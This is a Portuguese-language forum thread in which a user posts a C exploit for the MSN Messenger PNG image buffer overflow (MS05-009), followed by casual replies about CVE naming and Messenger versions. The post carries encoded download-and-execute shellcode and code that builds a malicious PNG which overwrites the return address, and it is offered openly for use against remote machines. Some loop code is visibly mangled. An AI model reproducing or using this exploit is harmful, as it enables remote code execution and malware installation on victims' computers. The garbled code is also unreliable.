Exploit p/ MSN

[_Dr4k0_]

esse exploit coloca uma imagem na tela do msn q executaum codigo arbitrario q levaa um downloadshell na maquina remota......
MSN Messenger PNG Image Buffer Overflow Exploit (MS05-009)


/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit (MS05-009)
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;

/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;iName=Name^xor;
return Name;
}


void main(int argc, char *argv[])
{

if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow
Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies
(www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights
Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: http://www.atmacasoft.com/exp/msg.exe\n");

return;
}


web = argv[2];


if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return;
}
for(i=0;ifputc(png_header,di);

/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);

weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");

//shell code
for(i=0;ifputc(newshellcode,di);


for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);

/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);

for(i=0;ifputc(pngeof,di);

printf("Vulnarable png file %s has been generated!\n",argv[1]);

fclose(di);



fonte:
http://www.k-otik.com/exploits/

[rog]

lol

o atmaca vai ficar feliz quando eu falar para ele que um exploit dele esta sendo divulgado no brasil

infelizemente para ele, ele mora no iraq

man MS05-009

quer dizer

MS ==> microsoft
05 ==> 2005
009 ==> none vulverabilidade

e a none vulnerabilidade descoberta em 2005 num produto microsoft

obviamente deve ser para o msn messenger 4.7 ou 6.2

Tested with MSN Messenger 6.2.0137

rog

[HadeS]

Sim, eu conheço essa falha por MSN 6.2.

Faz um tempinho já. Estamo no 8.0 =|

HadeS

[_Dr4k0_]

é um pouco antiga..
mas para pessoas que não instalam msn usam o windows messenger funciona..
 

e a 8.0 eh horrivel..
prefiro muito mais ficar com o meu 7.5